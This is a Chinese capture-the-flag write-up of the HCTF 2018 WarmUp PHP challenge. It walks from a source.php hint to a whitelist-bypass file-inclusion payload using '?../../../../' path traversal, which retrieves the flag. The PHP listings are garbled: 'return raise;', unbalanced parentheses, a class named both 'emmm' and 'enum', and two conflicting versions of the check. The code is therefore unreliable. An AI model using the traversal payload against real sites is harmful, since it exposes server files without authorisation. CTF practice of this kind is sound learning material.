

题目：HCTF 2018 WarmUp 1

WP

访问连接，查看源码，发现提示信息：

```
← → ↻ ⓘ 不安全 | view-source:cd6100a5-0e46-4349-a250-248cc70856ce.node2.buuoj.cn.wetolink.com:82
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4   <meta charset="UTF-8">
5   <meta name="viewport" content="width=device-width, initial-scale=1.0">
6   <meta http-equiv="X-UA-Compatible" content="ie=edge">
7   <title>Document</title>
8 </head>
9 <body>
10   <!--source.php-->
11
12   <br></body>
13 </html>
```

访问source.php，得到源码，文件包含，白名单file，hint

访问/source.php?file=hint.php发现提示信息：

```
← → ↻ ⓘ 不安全 | cd6100a5-0e46-4349-a250-248cc70856ce.node2.buuoj.cn.wetolink.com:82/source.php?file=hint.php
    return raise;
}

if (in_array($page, $whitelist)) {
    return true;
}

$page = mb_substr(
    $page,
    0,
    mb_strlen($page) - 1,
    'UTF-8'
);
if (in_array($page, $whitelist)) {
    return true;
}

$page = urldecode($page);
$page = mb_substr(
    $page,
    0,
    mb_strlen($page) - 1,
    'UTF-8'
);
if (in_array($page, $whitelist)) {
    return true;
}
echo "you can't see it";
return false;
}

if (! empty($_REQUEST['file']))
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
) {
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

?> flag not here, and flag in fffffllllaaaagggg
```

构造包含路径：/source.php?file=hint.php?../../../../fffffllllaaaagggg，得到flag

```
        return raise;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    echo "you can't see it";
    return false;
}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && enum::checkFile($_REQUEST['file']))
{
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

?> flag{1c57181a-f4b0-4ff0-8f6e-0be10e104fb1}
```

flag

flag{1c57181a-f4b0-4ff0-8f6e-0be10e104fb1}